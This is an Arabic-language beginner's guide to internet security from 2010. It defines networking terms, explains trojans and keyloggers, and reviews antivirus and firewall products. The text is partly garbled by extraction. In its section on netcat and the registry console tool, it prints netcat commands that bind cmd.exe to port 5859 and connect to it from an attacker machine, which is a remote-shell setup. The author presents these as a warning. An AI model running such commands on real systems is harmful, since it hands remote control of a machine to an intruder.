mushtaq_talib58@yahoo.com

الدروع الأمنية في الأنترنيت

أعداد المبرمج : مشتاق طالب رشيد العامري

١٨-٠٨-٢٠١٠

[2010-08-18]

mushtaq_talib58@yahoo.com

2011

الدروع الأمنية في الأنترنت

المقدمة:-

خير الكلام ما قل ودل .. نعم هذا المثل ينطبق على هذا البحث فلم اشأ أن اجعل القارئ أو القارئة في متاهة حشو الكتب التي لا

طائل منها سوى الصداع والخروج أحيانا بدون فائدة .لقد قسمت البحث على النحو التالي :

في الجزئية الأولى منه تكلمت عن المصطلحات سواء المتعلقة بالإنترنت أو المتعلقة بالحماية ، أما الجزء الذي يليه فقد تكلمت فيه عن

ماهية الاختراق والإشارة إليه دون تفصيل وحتى أزيل بعض من المفاهيم الناقصة أو غير الواضحة في ذهن مستخدم الإنترنت ،انتقلت

بعد ذلك للحديث عن حماية مستخدم الإنترنت والبرامج المستخدمة في الحماية كمضادات الفيروسات أو الجدران النارية ، بعد ذلك

انتقلت للحديث عن حماية البرامج المتعلقة بالإنترنت كالمنتديات وا؟لات والسكربتات متناولا أمثلة عليها وطرق الهجوم والحماية

المصطلحات الأساسية :

الإنترنت :

عبارة عن مجموعة من الأجهزة الحاسوبية متصلة ببعضها البعض ، وهذه الأجهزة تتخاطب باستخدام لغة معينه مثلنا يا بني البشر إلا أن

هذه اللغة تسمى برتوكولات

البروتوكولات :

كما ذكرت سابقا البرتوكولات مثل اللغة ، ومن اشهر البرتوكولات التي تجعل الأجهزة متصلة ببعضها هو بروتوكول تي سي بي / أي

أي بروتوكول التحكم في نقل البيانات والمعلومات الخاصة بالإنترنت . أي أن البروتوكولات هي القواعد أو الاتفاقات TCP/IP بي أو

التي تستخدمها جميع الشبكات المتصلة ببعضها البعض .

وهو البرتوكول المعني بنقل البيانات بين جهازين طبعا يوجد FTP توجد العديد من البروتوكولات ومن اشهرها برتوكول نقل الملفات

تفاصيل دقيقة في نفس البرتوكول .. فعندما تريد نقل ملف من جهازك إلى جهاز أخر على شبكة الإنترنت فأنت تستخدم هذا

البروتوكول ..سأورد مثالا يوضح لك هذا المفهوم لكن بعد قليل

السير فر أو الخادم أو الهوست أو المضيف

أو خدمة البريد لاحظ أحيانا FTP كلها أسماء لشي واحد وهو جهاز كمبيوتر تتوفر عليه مجموعة من الخدمات مثل خدمة نقل الملفات

أن البروتوكولات ذكرت هنا كخدمات يقوم العميل – المستخدم – أو الزائر بطلبها

المنفذ أو البورت Port

بابسط المفاهيم كل خدمة لابد أن يكون لها منفذ فمثلا خدمة نقل البيانات تكون على المنفذ ٢١ وخدمة التصفح تكون عادة على

المنفذ ٨٠ أو ٨٠٨٠

العنوان أو IP address

كل جهاز متصل بالإنترنت له عنوان مثل المعرف الشخصي للهوية ،ففي عالم الإنترنت يستحيل أن يتكرر هذا العنوان وقد يكون هذا

وقد يكون هذا العنوان Dial-up العنوان متغير في كل مره في حالة كونك تتصل عن طريق مزود خدمة وتستخدم اتصال من نوع

أو في حالة الخط المؤجر . والعنوان يكون بمثابة دليل ومعرف عليك داخل الإنترنت وتكون DSL ثابت في حالة الاتصال من نوع

صيغة الايبي أو العنوان كالتالي :

.

١٨ /٤

فمثلا مكان الاكسات نضع أرقام وكذلك في باقي الحروف وحتى اقرب الصورة لذهنك فالايبي يكون : xxx.yyy.zzz.eee

٢١٢.١٨٤.١٦٦.٥٥ ولمعرفة عنوانك أو رقم الايبي اكتب الأمر التالي في موجه الأوامر – ستعرف موجه الأوامر – لاحقا

) ipconfig ثم الأمر - command or cmd - ولكتابة الأمر السابق (اختر ابدا – تشغيل .ipconfig

Web Server ملقم الوب

عبارة عن برنامج يتلقى طلبات من المستخدمين قد تكون هذه الطلبات صفحات أو صور أو .. الخ ومن أنواع الملقمات واشهرها

java server وسيرفر جافا IIS وسيرفر مايكرو سوفت الشهير Apache سيرفر الاباتشي

نظام التشغيل :

عبارة عن كيان متكامل وابسط المفاهيم ألا مثله للشرح مثل نظام ويندوز بجميع النسخ ونظام لينوكس بجميع توزيعاته ونظام

ماكنتوش.

المستعرض أو المتصفح أو البراوزر:

هو برنامج تستخدمه لمشاهدة صفحات الوب وقد يكون لدى هذا المستعرض القدرة على تحميل أو تنزيل الملفات بحيث يعرف هذا

ومن أمثلة المستعرضات الإنترنت اكسبلورر والنت سكيب . FTP التطبيق كيفية التعامل مع بروتوكولات الإنترنت المختلفة مثل

الكوكيز (cookies)

ملفات يضعها موقع ما في جهاز المستخدم بغرض التسهيل على المستخدم أو لأغراض تختلف بحسب الأهداف من وضعها .

قد تحتوي الملفات هذه على معلومات حساسة مثل أسماء وكلمات مرور أو أرقام بطاقات ائتمانية ..الخ .

السكربت (Script)

PERL أو ASP أو php نص برمجي مكتوب بلغة برمجيه قد تكون موجهه نحو الوب أو الإنترنت مثل لغة جافا سكربت أو

ويحتاج بذلك لملقم إنترنت . أو قد يكون نص برمجي تم برمجته وموجه للعمل على الجهاز المحلي مثل الملفات الدفعية .

Proxy البروكسي أو المفوض أو الوكيل الملقم أو

هناك تصور مغلوط أو ناقص عند الكثير من مستخدمي الإنترنت حول مفهوم البروكسي ظنا منهم أن البروكسي هو الذي تستطيع من

خلاله دخول المواقع أو يسمح لك بالوصول إلى المواقع الغير مسموح ؟! عن طريق مزود الخدمة أو الشركة التي تقدم الاتصال لك

،هذا الكلام ناقص، حيث أن البروكسي هنا خاص بالويب بمعنى أخر خاص بالصفحات فقط . هناك العديد من البروكسيات مخصصه

لخدمات أخرى غير خدمات جلب الصفحات قد تجد بروكسي خاص لبرامج المحادثات .. الخ . الغرض من البروكسيات هو الخدمة

السريعة للمستخدم وليس إساءة استخدامها بمعنى إ؟! تلعب دور مخزن للبيانات فلو كان لدينا شركة تقدم خدمة الإنترنت لعملائها

فإ؟! بالكاد تأمن لهم بروكسي للتصفح وبروكسي لتتريل الملفات ..الخ فلو طلب احد عملائها موقع الياهو فسيحتفظ البروكسي

بالموقع في ذاكرته ولو طلب عميل أخر لنفس الشركة هذا الموقع فسيكون متوفر في ذاكرة البروكسي بذلك يكون الطلب من

البروكسي أسرع .

ا

١٨ /٥

بعد هذا التقديم البسيط للمصطلحات المهمة والخاصة بالإنترنت سأورد مثالا كما وعدتك سابقا يجمع هذه المصطلحات لأني اعرف أن

المثال سيزيل الغموض أو تداخل المفاهيم لنفرض إني أريد تحميل ملفات إلى موقع انترنت أو أريد تتريل ملفات من موقع انترنت ،فهل

بالطبع الإجابة على سؤالك لا. لان هناك برامج تقوم ؟ذا الشي مثل FTP ؟ يعني أنى سأحتاج كل تفاصيل البرتوكول الخاصة ب

هذا البرنامج تقوم بتنصيبه - تركيبه – على جهازك وبعد ذلك ستختار اسم الموقع المراد تحميل الملفات إليه أو WS_FTP برنامج

تحميلها من ،في بعض الأحيان تحتاج إلى اسم مستخدم و كلمة مرور لأن هذه الخدمة قد لا تكون مجانية في كثير من الأحيان . هنا

ماذا لو أردت أن استخدم برتوكول أخر أو خدمة أخرى ؟.بالطبع الإجابة ستكون انك بحاجة FTP تكلمت عن خدمة أو برتوكول

لبرنامج خاص ؟ذه الخدمة . ولكن من أين لي ؟ذا البرنامج ؟ هناك برامج قد تكون مضمنه مع نظام التشغيل وندوز فلو أردت نفس

الذي يأتي مع الوندوز ولكن هذا البرنامج لا يدعم الواجهة الرسومية بمعنى انك ستعمل في FTP الخدمة السابقة قد تستخدم برنامج

سطر الأوامر أو الشل - قد يأتي الحديث لاحقا عن سطر الأوامر - . (اسم البرنامج هنا نفس اسم البرتوكول – للتنويه -)

ومن الخدمات الأخرى مثلا : خدمة البريد الإلكتروني تحتاج هذه إلى برامج خاصة سواء من شركة مايكروسوفت أو غيرها ومن

كلها تفي بنفس الغرض وهو Eudora وهناك برنامج أخر من شركة أخرى Outlook Express البرامج التي تأتي من مايكروسوفت

استقبال البريد وإرساله .

ماذا لو أردت الاستمتاع بخدمة الوب الخاصة بتصفح المواقع طبعا ستكون الإجابة باستخدام البرنامج المستعرض الشهير من شركة

دعني أورد لك مثالا عن كيفية تصفح موقع الياهو باستخدام IE أو اختصارا Explorer مايكروسوفت وهو الإنترنت اكسبلورر

المستعرض .

القاعدة الأساسية لاستخدام أي برتوكول داخل برنامج التصفح أو الاكسبلورر

Http://www.Yahoo.com:80

Protocol : Hostname : Port

اسم البرتوكول وهو هنا

HTTP

FTP من الممكن ان يكون

HTTP البرتوكول سواء

الخ .. FTP او

نقطتان للفصل بين اسم الموقع والبرتوكول

اسم الموقع او المستضيف

قد يكون مسبوقا ب//

دلالة على انه موقع

خارجي

هذا المنفذ وهو اختياري لأن

المتصفح يتعرف على

البروتوكول والمنفذ تلقائي

اشارة الى انه

خارج الجهاز www.yahoo.com

كلها اشارة الى اسم الموقع

رقم المنفذ وهو اختياري

.

١٨ /٦

يجب أن تعرف أشياء حول الرسم التوضيحي السابق :

FTP أو HTTP البروتوكول : وسبق شرحه من الممكن أن يكون

الخ .. org أو net أو com الهوست نيم : وهو اسم المضيف قد يكون اسم الموقع يحمل اللاحقة

المنفذ أو البورت : وهو اختياري بمعنى من الممكن التغاضي عنه

تجدر الإشارة إلى أن المستعرض أو الاكسبلورر يحتوي على ميزة التعرف البروتوكول ومن الممكن أن يتعامل على انه برنامج لتحميل

وتنزيل الملفات لكن ليس بكفاءة تلك البرامج المتخصصة للتعامل مع البروتوكول الخاص . فيما تبقى من المصطلحات سأتحدث -

انشاء الله - عن المصطلحات المتعلقة بالأمن والحماية جهة الملقم أو السيرفر :

.

١٨ /٧

هذا الباب معنيبحماية الجهاز من الفيروسات وحماية بيانات المستخدم

من السرقة او التجسس

.

١٨ /٨

اخي القارئ اختي القارئة ..اخي المستخدم اختي المستخدمة لجهاز الحاسوب لابد انك سمعت عن اسحاق نيوتن أو مر عليك أثناء

دراستك ، ولابد انك سمعت بتفاحته الشهيرة وسقوطها لاشك حينما سقطت تلك التفاحة التف الناس واجتمعوا ورددوا : سقطت

التفاحة ..سقطت التفاحة الا هذا الرجل سأل لماذا سقطت التفاحة ؟

هذا بالفعل يرتبط بالحاسوب فهل لك أن تسأل لماذا اخترق جهازك ؟ لماذا سرقت بياناتك او خربت من العابثين ؟ لا .. لا

وجه الربط بين التفاحة وجهازك والذي اريدك ان تسأله كيف تم اختراقك او تلفت بياناتك من هؤلاء ؟ ربما كلامي هنا يسري على

المستخدم العادي الذي لايملك ايضا اتصالاً بالانترنت . لا اريد ان استفيض بالكلام عاتبا عليك لكن اريد ان ينضج بك التفكير وتعي

بأن العالم لم يعد صغيرا وقد تكثر الذئاب المفترسة والطيور الجارحة في هذا العالم . لكن من اين بدء الهجوم عليك ؟ انتظر ! وتأمل

الفايروسات والتروجانات والباتشات والباكدور او الباب الخلفي والكي لوجر :

هذه الاسماء تشترك في هدف او اهداف واحدة وهو انتهاك الخصوصية وتخريب الجهاز وسرقة المعلومات الحساسة من جهازك والتميز

بينها يكون من ناحية الاهداف .فالفايروس برنامج يؤذي الجهاز بحيث يسبب تلف للبيانات او قطع الجهاز مثل فايروس تشرنوبل . لن

ادخل في التعريفات العلمية لاسماء الفيروسات وغيرها فالهدف من هذا الكتاب البساطة والتسهيل . التروجان او الباتش اوالباب خلفي

أو حصان طروادة عبارة عن برنامج يسمح للهكر او المخرب بالتحكم عن بعد بجهاز المستخدم وقد تتفاوت درجة التحكم من

السيطرة الكاملة الى السيطرة الجزئية بحسب البرنامج فمثلا برنامج السب سفن والاوبتيكس وغيرها من البرامج تدخل في هذا المسمى

. الكي لوجر او لاقط ضربات المفاتيح عبارة عن برنامج فهو برنامج يقوم بتسجيل كل ما يكتبه المستخدم ويكتبه على لوحة المفاتيح

ويقوم بأرساله الى المخرب .من الممكن ان تقوم قطع يتم تركيبها على الجهاز تقوم ؟اذا العمل وتعمل بنفس الكفاءة .

برامج مكافحة الفيروسات والجداران النارية وبرامج تتبع الرزم وبرامج المراقبة

هي عبارة عن برامج يتم تركيبها على الجهاز ولهذه البرامج قواعد بيانات خاصة موجود ؟! Anti-Virus ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ ان

تواقيع او بصمة خاصة لكل فيروس بحيث تتم مقارنة أي برنامج موجود على الجهاز سواء في حالة طلب تشغيل البرنامج او اثناء عمل

المسح على الجهاز مع قواعد البيانات ، وفي حالة العثور على تطابق في سلوك البرنامج مع قواعد البيانات فانه سيصدر رسالة مشعرا

المستخدم بوجود الفايروس او برنامج التجسس ،لقد اغفلت جوانب كثيرة منها التشفير واساليب التخفي عن برامج الحماية ولعل

الشيء بالشيء يذكر ..سأورد مثالا يروي لنا قصة ذكية عن كود برمجي لبرنامج تجسس وهذا البرنامج يمتد تأثيره على نوعية معينة من

بحيث يضيف شيفرة لدية في مكان التعليقات داخل البرامج نازعا صفة الخبث عنه بكونه يريد تغيير حجم تلك EXE الامتدادات مثل

الملفات حتى لا تتمكن برامج مكافحة الفيروسات من كشفه .

.

١٨ /٩

عبارة عن برنامج اخر للحماية والهدف منه التعرف على البرامج التي تتصل بالانترنت او على شبكة FireWall؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

محلية والمنافذ التي تعمل عليها تلك البرامج بحيث يتسنى لك معرفة ومراقبة البرامج والسماح او الرفض لتلك البرامج ،وقد تلعب

تلك البرامج - الجدار الناري - دورا مهما في صد أي هجوم عليك مثل عمليات المسح بأنواعها او محاولة الاتصال ببرنامج معين

قد سمحت له بالاتصال بالانترنت .

ربما هذه النوعية متقدمة في الحماية وهي تساعد المستخدم المحترف أن يتتبع برنامجا ما : Sniffer ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

يتصل بالانترنت او بشبكة واسعة لمعرفة الجهات التي تنتقل لها الرزم او حزم البيانات من حيث الحجم والمكان وللتنويه هذه تختلف عن

تعقب مرور البيانات في الانترنت عن طريق اعطاء امر راوتر للتبع سير بيانات الى موقع معين .فما اعنيه هنا تتبع لبيانات برنامج معين

يتصل بالانترنت .لنقل على سبيل المثال والتوضيح برنامج المسنجر. للتبع ذهاب الرزم من جهازك الى موقع البرنامج الاساسي فلو

وجدت ان هناك اتصال بسيرفر اخر اثناء تتبعك لسير البيانات فأعلم للتو واللحظة بأنك تستخدم برنامج مشبوه يمرر البيانات المرسلة

من جهازك الى الجهة التي تتجسس عليك ! لا اريد الاطالة لأن التفاصيل ستجعل منك انسانا شكاكا في كل ما يدور بجهازك .

تسمى هذه البرامج المونيتر ومنها انواع مختلفة فقد يقوم بعضها بمراقبة تنفيذ برنامج معين حيث تتعرف على : ؟؟؟؟؟؟؟؟؟؟؟؟؟

الموجدة في التطبيق او الموجودة داخل نظام وندوز DLL الاشياء التي تجري من خلف الكواليس اثناء تنفيذ البرنامج مثل طلب الدوال

اما بعضها يستخدم في مراقبة تنفيذ البرامج على الرجستري الخاص بالوندوز وتسمى في هذه File Monitor وتسمى في هذه الحالة ب

. Registry Monitor الحالة ب

؟؟؟ ؟؟؟؟؟؟؟؟؟؟؟؟؟

؟؟؟ ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

BOF او ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

Swiss Ar my Knife سكينة الجيش السويسري او

معروفة ؟ذا الاسم في اوساط الحماية ولدى المخربين ايضا ..

ربما ترجع التسمية ولست متأكد من ذلك الى كون الجيش السويسري اعتمد اداة مع جنوده بحيث تعمل اشياء عديدة مثل سكين

ومفتاح وحربة ومقص ومفتاح لعلب الصلصة .

هذا البرنامج يعمل على منصتي الوندوز واللينوكس . هذه الاداة تعمل على أي منفذ يتم اعداده من NetCat او nc الاسم الدارج لها

قبل المهاجم وتعطيه تحكما اكثر بحيث يستطيع تشغيل مايشاء من البرامج وتنفيذها . ستعرف الغرض من ذكري لها هنا لاحقا لاني

سأورد مثالا عنها لكن مع مجموعة ادوات اخرى ولكن هنا مدخل للتعريف ؟ذه الاداة .

.

١٨ /١٠

Registry Consol Tool الريجستري والاداة

الريجستري او مسجل الوندوز عبارة عن مكان في الوندوز يسجل فيه كل شيء عن جهازك من قطع وبرامج وبيانات عن البرامج

ومكان تواجدها ويعرف المستخدمين على هذه البرامج ..الخ . من انتاج مايكروسوفت

؟؟؟؟ الاداة ريجستري كنسول توول عبارة عن برنامج يستخدم لإدارة ملفات وقيم الرجستري عن طريق الشل او سطر الاوامر

؟؟؟

فنظام الدوس نظام مستقل بذاته يحوي هذا النظام على برنامج يسمى الشل او الكوماند ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟DOS؟؟؟؟؟؟

وهذا البرنامج عبارة عن بيئة بين المستخدم ونظام التشغيل اما مصطلح الشل في يونيكس او لينوكس فيرادف command-shell شل

سطر اوامر او الكوماند شل على نظام التشغيل وندوز وتستطيع تشغيل سطر الاوامر هذا في بيئة وندوز عن طريق كتابة الامر التالي

:-

في كل من الوندوز واللينوكس او اليونكس تغيب الواجهه الرسومية والصورة ادناه للشل او سطر الاوامر او الكوماند شل تحت نظام

من داخل سطر الأوامر : Netstat التشغيل وندوز اكس بي وقد نفذت الامر

النظام ذو الواجهة العربية

(win9x-winME بالنسبة ل) command ابدأ --- تشغيل --- ثم كتابة

(win XP – win NT بالنسبة ل) Cmd ابدأ ---تشغيل--- ثم كتابة

النظام ذو الواجهة الانجليزية

(start ---Run ---command (For win9x –winME

(Start ---Run--- Cmd (For win XP – winNT

.

١٨ /١١

قد تتعجب من ذكري لهاتين الاداتين هنا سكينة الجيش السويسري + الرجيستري كنسول ! لقد ذكر؟ما لاني احببت ان اريك

خطور؟ما لو تم استخدامهما معا على نظامك او جهازك . فقد ترددت كثيرا حينما فكرت ان اطرح هذا لخوفي من ضعاف النفوس ان

تسول لهم انفسهم استغلالهما ويقع ما كنت اخشاه من اساءة هذا الكتاب ولكن كون الدين الاسلامي اختار الوسطية فقد قررت ان

اميل الى الوسطية في الشرح وعدم الاسهاب في ذلك .

لنفرض وصول هاتين الاداتين او البرنامجين الى نظامك بالاسلوب التالي :-

- برنامجان ممتازان غنيان عن التعريف .. الخ

- ان كنت تشكي من بطء الاتصال فاليك هذين البرنامجين ضعهما في ا؟لد سيستم

- هل تريد ان تحصل على امتياز اكثر في برنامج المحادثات المسنجر او تتجسس على من معك في القائمة وتعرف الكثير عنه

- هل تريد الدخول متخفيا في برنامج المحادثات البال توك او تحصل على امتيازات مدير الغرفه او تلغي حالة الطرد

- هل تريد ان يعمل جهازك من البيت وانت في العمل او المدرسة او الجامعة ويرسل لك اجابة السؤال الخامس من اسئلة الفيزياء

او امتحان مادة الرياضيات في الجامعة ويرسل الاجابات عبر الأثير (طبعا السطر الأخير للدعابه والترويج عنك) لكن قد يحدث

ما سبق ؟ذه الصورة او بصورة مشا؟ة لها. فالعبرة بوصولهما لجهازك .

قد يتمكن المخرب بصوره احترافية بانشاء ملف دفعي يحتوي تفعيل الاوامر التالية للبرنامجين وقد يتمكن من الاتصال من جهازك بجهاز

او غيرها وتحميل الملفات من والى جهازك وقد يكون الامر اكثر شراسة بحذف TFTP او FTP اخر على الانترنت سواء بواسطة خدمة

الملفات من جهازك او سرقة البيانات من جهاز وتحديدا من الرجستري او وضع باتش او كي لوجر في جهازك تخيل انك عصفور برئ

وسط هجمات عاصفة من قبل نسور ضارية وهي انواع الملفات التجسسية .

nc اليك اوامر البرنامج النت كات

لإعداد البرنامج بحيث يكون في حالة منصته على الجهاز الهدف (هذا الامر ينفذ من نفس الجهاز المراد الاستماع اليه) او بواسطة

الملف الدفعي . لنفرض الرغبة بالاستماع الى المنفذ ٥٨٥٩ او من الجائز استخدام منفذ اخر مثل ٨٠٨٠ او ٨٠ ..الخ

للأتصال بالجهاز الهدف نتبع التالي من سطر الاوامر (من جهاز المهاجم):

بعد تنفيذ الأمر السابق ستجد ان الشل او سطر الاوامر لدى الجهاز البعيد انتقل اليك تخيل بعد هذا ماذا سيحدث لو استعمل ذلك

بالاتصال بسيرفر اخر من جهازك وتنزيل الملفات او رفعها ؟؟؟ هنا ساقطع السيناريو لكن اترك لك الخيال لتتخيل ما يحل بك !

اوامر البرنامج رجستري كنسول :

C:\nc –L –d – e cmd.exe– p 5859

C:\nc 10.10.10.34 5859

.

١٨ /١٢

هناك العديد من الاوامر ولكن تحتاج الى فهم كامل بملفات الرجستري والمفاتيح والمفاتيح الفرعية والقيم سأضرب مثلا حول تصدير

على الجهاز الهدف على افتراض ان الملف التشغلي ieset.txt قيمة مفتاح يحتوي على اعدادت الاكسبلور الى ملف خارجي بالأسم

وموجود على القرص الصلب سي لدى الجهاز الهدف : Reg.exe للرجستري كنسول بالإسم

لاحظ استخدامي لعلامات التنصيص لأن المفتاح انترنت اكسبلورر يحتوي على فراغ بين انترنت و كلمة اكسبلورر فلو لم يكن هذا

الفارغ موجدا كان استعمال الامر بدون علامتي التنصيص . والقيم التي اعادها لي هي :

بعد هذا الكلام ..اود الإشارة لشيء مهم وهو أن الاداتين السابقتين من الادوات الممتازة على ادارة الشبكة لاني بالفعل استخدمهما

في ادارة الاجهزه المنزلية والشبكة ولكن اساءة استخدامهما جعلتهما سيئتي السمعة بسبب استخدامهما في عملية الاختراق . قد

تستغرب ذكري لهما بأ؟ما مفيدتان وهما مضرتان (فكل انسان يرى الناس بعين طبعه).ربما عشقي للكنسول او الشل ارتبط بحب

وغيرها . Radmin هاتين الاداتين بالرغم من توافر ادوات رسومية مثل

هناك اشياءكثيرة يلجأ له المخترق في اقتحام عالمك وخصوصيتك ربما عن طريق المستعرض باستغلال احد الثغرات الموجوده فيه

وقد يستطيع المخترق دمج باتش او فايروس او Uploader او downloader وانزال ملفات تجسس تسمى مثل هذه النوعية من البرامج

C:\reg export “ HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main” ieset.txt

Windows Registry Editor Version 5.00

HKEY_CURRENT_USER\Software\Microsoft\Internet] [Explorer\Main

NoUpdateCheck"=dword:00000001"

NoJITSetup"=dword:00000001"

"Disable Script Debugger"="yes"

"Show_ChannelBand"="No"

"Anchor Underline"="yes"

"Cache_Update_Frequency"="Once_Per_Session"

"Display Inline Images"="yes"

Do404Search"=hex:01,00,00,00"

"Local Page"="C:\\WINDOWS\\System32\\blank.htm"

"Save_Session_History_On_Exit"="no"

"Show_FullURL"="no"

"Show_StatusBar"="yes"

"Show_ToolBar"="yes"

"Show_URLinStatusBar"="yes"

"Show_URLToolBar"="yes"

"Start Page"="about:blank"

"Use_DlgBox_Colors"="yes"

Search "
Page"="http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=ie
"search

"FullScreen"="no"

"

Window_Placement"=hex:2c,00,00,00,02,00,00,00,03,00,00,00,
\،00,83,ff,ff,00,83

ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,00,00,00,00,00,00,00,20,03,00,00,3a,0
\،2,00

٠٠

Use FormSuggest"="no" Windows Registry Editor Version 5.00"

.

١٨ /١٣

... الخ داخل صفحة انترنت مستغلا ثغره في برنامج التصفح لديك فالبرامج تنوعت أي لم يعد الامر مقتصر على تلك التي ترسل

بالبريد او من خلال برامج المحادثات بل من الممكن ارسال البرامج ايضا عن طريق الصفحات كما ذكرت سابقا .

لن اتكلم عن كيفية عمل هذه البرامج فهي فقط ترسل الباتشات او غيرها عن طريق المستعرض او بالاحرى عن طريق صفحات

الانترنت .وللتغلب على مثل هذه الحالة عليك بتحديث المستعرض او المتصفح لديك من خلال الشركة الخاصة على الارجح ا؟ا

مايكروسوفت ،ان كنت كسول لا تحب متابعة التحديثات فانت تتحمل هذا الشيء وحتى اقلل نسبة الكسل هذه حاول ان تقوم

بتحديث برنامج التصفح لديك واترك الباقي .. حدث الأشياء الحرجة في نظامك لاني أكاد اجزم بان المستخدمين في البلدان العربية

او اختر wupdmgr.exe يهتمون بالتصفح وبرامج المحادثات وقلة يهتم بتحديث شامل للنظام . وللقيام ؟اذا اكتب الامر التالي في تشغيل

وتابع حتى يبين لك الموقع ماهي الاشياء التي تحتاج لتحديثها من موقع مايكروسوفت .كان بوسعي ذكر Windows Update ابدأ ثم زر

العديد من الامثلة عن طرق واساليب الهجوم لكن فضلت الاشارة لها دون التعمق في تفاصيلها .بقيت جزئية ساتركها لبرامج الحماية

وللجدار الناري لا؟ما هما ثمرة هذا الباب وما يحتاجه المستخدم من الحماية على جهازه ولن افضل برنامج على اخر لأن لكل برنامج ما

يميزه عن غيره وكذلك الامر بالنسبة للجدار الناري .طبعا ساتناول الاشهر من كلاهما وليس كل البرامج ولن اتكلم عن طريقة

اعدادهم لأ؟ا تقريبا منتشرة في الانترنت .

.

١٨ /١٤

اسم البرنامج Norton Anti-Virus : النورتن انتي فايروس

النوع : برنامج مكافحة فيروسات

موقع الشركة : http://www.symantec.com

التنبيه الذي اظهره البرنامج عندما حصل على برنامج تجسس

والاجراء الذي تعامل تم NetBus واسمه ومكان تواجده وهو

اتخاذه وهو الحذف

.

١٨ /١٥

او كما يسميه البعض الكييف KasperSky اسم البرنامج : كاسبر سكاي

النوع :برنامج مكافحة فايروسات

الشركة : http://www.kaspersky.com

ملاحظة: هذا البرنامج به من الميزات ما يجعله يتصدر برامج الحماية . انتهى

مكان ملف التجسس أو

الفيروس

نوع الملف العدواني في

هذه الحالة باكدور

الإجراء المتخذ في حقه

.

١٨ /١٦

Fire wall الجدار الناري

Zone Aler m اسم البرنامج : الزون الارم

النوع : برنامج جداري ناري

الشركة : http://www.zonelab.com

تنبيه يفيد بان برنامج المسنجر

يرغب بالاتصال بالانترنت ورقم

المنفذ وجهة الاتصال واصدارة

البرنامج

واجهة البرنامج

تفيد بان برنامج المسنجر يرغب بان يعمل

كسيرفر وهذا في حالة ارسال ملف او

الرغبة بالمحادثه الصوتية او في اثناء تشغيل

الفيديو – الكاميرا -

.

١٨ /١٧

اسم البرنامج : Armor2Net

النوع : جدار ناري

الشركة : http://www.ar mor2net.com

تنبيه يفيد بان برنامج البال توك يرغب بالاتصال واجهة البرنامج

بالانترنت ولك الخيار في السماح او عدمه

.

١٨ /١٨

اسم البرنامج : KasperSky AntiHacker

نوع البرنامج : جدار ناري

الشركة : http://www.kaspersky.com

البرامج النشطة في الحالة

الراهنة

برنامج المسنجر اثناء

طلبه الاتصال بالنت

بالاضافة الى خيارات

الجدار الناري

واجهة البرنامج